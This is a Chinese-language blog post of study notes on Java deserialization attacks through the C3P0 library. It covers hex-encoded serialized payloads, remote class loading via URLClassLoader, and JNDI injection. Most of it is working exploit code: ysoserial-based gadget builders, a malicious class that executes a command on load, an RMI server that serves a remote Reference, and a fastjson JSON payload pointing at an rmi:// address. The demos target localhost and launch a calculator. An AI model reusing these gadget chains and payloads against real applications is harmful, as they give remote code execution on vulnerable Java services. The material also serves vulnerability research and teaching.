C3p0的多种利用方式|Java反序列化(十四)
C3p0
这个依赖里面的几条调用链感觉还是挺有意思的, 但是学习的时候遇到了一点障碍, 就是看网上的学习文章师傅们都说有三条Gadget调用链, 分别是HEX 序列化字节加载器反序列化
, URLClassLoader远程类加载
, JNDI注入
, 但是我实际学习URLClassLoader远程加载
的时候看到师傅们讲解demo的调用链和yso中的并不一样, 后面自己对比看了才发现原来是触发点不同, yso项目paylaod中的C3p0调用链是一条完整的反序列化链子, 而网上看到的大多都是fastjson触发setter方法调用的链子, 下面已经进行了区分
最后就是JNDI注入, 这个挺离谱的, 昨天本地测试的时候没有成功, 我还以为是高版本JDK的问题, 结果代码完全没改, 今天又可以了,呆住了…..
HEX 序列化字节加载器反序列化
触发条件: 调用setUserOverridesAsString函数, 参数为反序列化数据经过处理后生成的字符串
单纯使用C3p0
即可进行二次反序列化, 触发条件是执行setUserOverridesAsString
, 反序列化的二进制数据流从输入的参数获取, 一般这个调用链用在fastjson中, 因为fastjson可以任意调用对象的setter方法, 且反序列化数据也刚好从参数取出从而满足要求
Gadget:
调用链
com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
java.beans.VetoableChangeSupport#fireVetoableChange
java.beans.VetoableChangeSupport#fireVetoableChange
java.beans.VetoableChangeListener#vetoableChange
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
java.io.ObjectInputStream#readObject()
demo
(代码写在yso项目里面):
package ysoserial.payloads.h0cksrExtend;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import ysoserial.Serializer;
import ysoserial.payloads.CommonsBeanutils1;
public class C3p0demo {
public static void test() throws Exception {
// bytes就是二次反序列化的二进制数据流,这里使用CB链进行反序列化测试
byte[] bytes = Serializer.serialize((new CommonsBeanutils1()).getObject("calc"));
// 注意HexAscii前后都要有一个空格(随便什么字符都行)
String c3p0hexAscii = "HexAsciiSerializedMap "+ByteUtils.toHexAscii(bytes)+" ";
new ComboPooledDataSource().setUserOverridesAsString(c3p0hexAscii);
}
public static void main(String[] args) throws Exception {
test();
}
}
调用链调试
开始的调用链起点setUserOverridesAsString
到调用都parseUserOverridesAsString
没什么好说的, 几乎就是一路下去就行, 唯一需要满足的条件就是传入的字符串参数uoas
不能和对象原本的userOverridesAsString
属性值相同即可(一般可以直接忽略这个条件)
虽然是跟链子, 但是不能只跟链子, 还需要了解一下这个过程的一些相关原理和原因, 这里copy一下Java安全攻防之老版本Fastjson的一些不出网利用对这个过程的描述:
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource
在构造方法中,开启了一个属性的监听器
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
在setter方法中,如果修改了userOverridesAsString属性值就会触发监听器,在监听器方法中,如果修改的是userOverridesAsString属性,就会调用到C3P0ImplUtils.parseUserOverridesAsString方法。
com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
java.beans.VetoableChangeSupport#fireVetoableChange
java.beans.VetoableChangeListener#vetoableChange
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
parseUserOverridesAsString
到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
我们可以停下来看一下它是怎么处理传入的数据的:
- 获取
"HexAsciiSerializedMap"长度+1
作为下标起始位置, 获取参数字符串长度-1
作为结束下标位置 - 将截取到的字符串使用
com.mchange.lang.ByteUtils#fromHexAscii
转为比特流
处理效果: 会丢弃开头的"HexAsciiSerializedMap"长度+1
个字符以及最后一个字符(所以这就是为什么我的demo中会在HexAsciiSerializedMap后面和字符串结尾处加多一个空格的原因了)
后续操作就是将比特流转为一个ObjectInputStream
然后执行对象输入流的readObject
函数
End ?
所以到这里就完成了反序列化, 同时也执行了yso中的CommonsBeanutils1
的反序列化, 但是就此结束了嘛?
并不是的, 现在看去看看是怎么对反序列化后的对象进行处理的:
可以看到, 如果反序列化的对象是IndirectlySerialized
实例就会执行getObject
函数
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
看一下这个lookup函数在哪些类中实现了
URLClassLoader远程类加载
URLClassLoader远程加载的调用链:
ReferenceSerialized#getObject
ReferenceableUtils#referenceToObject
ObjectFactory#getObjectInstance
恶意类(javac编译之后放在http服务上):
import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
// public exp() throws IOException {
//
// Runtime.getRuntime().exec("calc");
//
// }
}
用于fastjson的setter触发方式(用法一)
调用链
/*
com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
java.beans.VetoableChangeSupport#fireVetoableChange
java.beans.VetoableChangeSupport#fireVetoableChange
java.beans.VetoableChangeListener#vetoableChange
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
java.io.ObjectInputStream#readObject() #HEX序列化字节加载器完成反序列化
com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
com.mchange.v2.naming.ReferenceableUtils.referenceToObject
java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) 使用URLClassLoader远程加载获取factory工厂类对象
java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
javax.naming.spi.ObjectFactory.getObjectInstance 从类工厂获取指定的实例化对象
*/
Demo
package ysoserial.payloads.h0cksrExtend;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.mchange.v2.naming.ReferenceIndirector;
import com.mchange.v2.ser.IndirectlySerialized;
import ysoserial.Serializer;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Enumeration;
import java.util.logging.Logger;
/*
com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
java.beans.VetoableChangeSupport#fireVetoableChange
java.beans.VetoableChangeSupport#fireVetoableChange
java.beans.VetoableChangeListener#vetoableChange
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
java.io.ObjectInputStream#readObject() #HEX序列化字节加载器完成反序列化
com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
com.mchange.v2.naming.ReferenceableUtils.referenceToObject
java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) 使用URLClassLoader远程加载获取factory工厂类对象
java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
javax.naming.spi.ObjectFactory.getObjectInstance 从类工厂获取指定的实例化对象
*/
public class C3p0_URLClassLoader_01 {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void test() throws Exception {
// URLClassLoader的触发方式一, 通过setUserOverridesAsString触发二次反序列化对象的.readObject进行远程加载
// 通过修改http服务器上的exp.class来修改执行的代码和命令
ReferenceIndirector referenceIndirector = new ReferenceIndirector();
Name name = new Name() {
@Override
public Object clone() {
return null;
}
@Override
public int compareTo(Object obj) {
return 0;
}
@Override
public int size() {
return 0;
}
@Override
public boolean isEmpty() {
return false;
}
@Override
public Enumeration<String> getAll() {
return null;
}
@Override
public String get(int posn) {
return null;
}
@Override
public Name getPrefix(int posn) {
return null;
}
@Override
public Name getSuffix(int posn) {
return null;
}
@Override
public boolean startsWith(Name n) {
return false;
}
@Override
public boolean endsWith(Name n) {
return false;
}
@Override
public Name addAll(Name suffix) throws InvalidNameException {
return null;
}
@Override
public Name addAll(int posn, Name n) throws InvalidNameException {
return null;
}
@Override
public Name add(String comp) throws InvalidNameException {
return null;
}
@Override
public Name add(int posn, String comp) throws InvalidNameException {
return null;
}
@Override
public Object remove(int posn) throws InvalidNameException {
return null;
}
};
referenceIndirector.setName(name);
IndirectlySerialized indirectlySerialized = referenceIndirector.indirectForm(
new PoolSource("exp","http://127.0.0.1:4455/")
);
byte[] bytes = Serializer.serialize(indirectlySerialized);
String c3p0hexAscii = "HexAsciiSerializedMap "+ByteUtils.toHexAscii(bytes)+" ";
new ComboPooledDataSource().setUserOverridesAsString(c3p0hexAscii);
}
public static void main(String[] args) throws Exception {
test();
}
}
先在服务器的4455端口挂开放server放一个exp的编译文件
import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
然后执行测试代码即可触发远程加载exp.class进行类实例化执行静态代码
完整的反序列化触发方式(用法二)
调用链:
/*
后半部分和前面是一样, 不过就是触发ReferenceSerialized#getObject的方式不同, PoolBackedDataSourceBase会在反序列化后
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject
com.mchange.v2.ser.IndirectlySerialized.getObject
com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
com.mchange.v2.naming.ReferenceableUtils.referenceToObject
java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) 使用URLClassLoader远程加载获取factory工厂类对象
java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
javax.naming.spi.ObjectFactory.getObjectInstance 从类工厂获取指定的实例化对象
*/
Demo
package ysoserial.payloads.h0cksrExtend;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Reflections;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/*
调用链:
后半部分和前面是一样, 不过就是触发ReferenceSerialized#getObject的方式不同, PoolBackedDataSourceBase会在反序列化后
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject
com.mchange.v2.ser.IndirectlySerialized.getObject
com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
com.mchange.v2.naming.ReferenceableUtils.referenceToObject
java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) 使用URLClassLoader远程加载获取factory工厂类对象
java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
javax.naming.spi.ObjectFactory.getObjectInstance 从类工厂获取指定的实例化对象
*/
public class C3p0_URLClassLoader_02 {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void test() throws Exception {
// URLClassLoader的触发方式二, 直接反序列化完成一步到位
// 反序列化执行的readobject位于PoolBackedDataSourceBase, PoolBackedDataSource就是PoolBackedDataSourceBase的继承子类
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b,
new C3p0_URLClassLoader_02.PoolSource("exp", "http://127.0.0.1:4455/")
);
Deserializer.deserialize(
Serializer.serialize(b)
);
}
public static void main(String[] args) throws Exception {
test();
}
}
先在服务器的4455端口挂开放server放一个exp的编译文件
import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
然后执行测试代码即可触发远程加载exp.class进行类实例化执行静态代码
JNDI注入
调用链
com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource#setLoginTimeout
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setLoginTimeout
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout
com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner
com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
javax.naming.InitialContext#lookup(java.lang.String)
Demo
package ysoserial.payloads.h0cksrExtend;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import ysoserial.payloads.util.Reflections;
/*
调用链:
com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource#setLoginTimeout
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setLoginTimeout
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout
com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner
com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
javax.naming.InitialContext#lookup(java.lang.String)
*/
public class C3p0_JNDI {
public static void test() throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// InitialContext ctx = new InitialContext();
// ctx.lookup( "rmi://127.0.0.1:1099/exp" );
// System.exit(0);
// 会调用javax.naming.InitialContext.getURLOrDefaultInitCtx(java.lang.String)获取远程上下文
// javax.naming.Context.lookup(java.lang.String)加载远程地址
String eviljndi = "rmi://127.0.0.1:1099/exp";
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();
Object end = Reflections.getFieldValue(jndiRefConnectionPoolDataSource,"jrfds");
Reflections.setFieldValue(end,"jndiName",eviljndi);
Reflections.setFieldValue(wrapperConnectionPoolDataSource,"nestedDataSource",end);
Reflections.setFieldValue(jndiRefConnectionPoolDataSource,"wcpds",wrapperConnectionPoolDataSource);
jndiRefConnectionPoolDataSource.setLoginTimeout(0);
}
public static void main(String[] args) throws Exception {
test();
}
}
和上面一样先吧exp.class文件挂在一个开放4455端口的Server服务上, 然后运行下面代码开启一个RMI服务指定exp类加载的时候返回的Reference
对象执行Server的exp.class
exp.java(javac exp.java
编译得到exp.class):
import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
RMI_SERVER.java(运行rmi服务将绑定exp.class):
package ysoserial.payloads.h0cksrExtend;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_SERVER {
public static void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("expClass","exp","http://127.0.0.1:4455");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/exp",refObjWrapper);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception{
register();
}
}
运行RMI服务之后就可以执行测试代码了
另外因为这里使用的是JndiRefConnectionPoolDataSource#setLoginTimeout
, 触发点为一个int类型单参数的setter函数, 可以通过fastjson触发使用
fastjsonExp:
{"@type":
"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource",
"JndiName":"rmi://127.0.0.1:1099/exp",
"LoginTimeout":0
}
不出网打Tomcat8原生工厂类EL表达式注入
无fastjson且不出网打Tomcat, 这点其实早在从羊城杯一道题学习高版本JDK下JNDI的利用就有用过了, 另外看到一篇文章中有道例题讲解挺好的这里留个链接学习一下: C3P0不出网利用链构造
出题人WP: ljctr wp
参考链接:
2022_11_13 第十二周星期六 很晚很晚….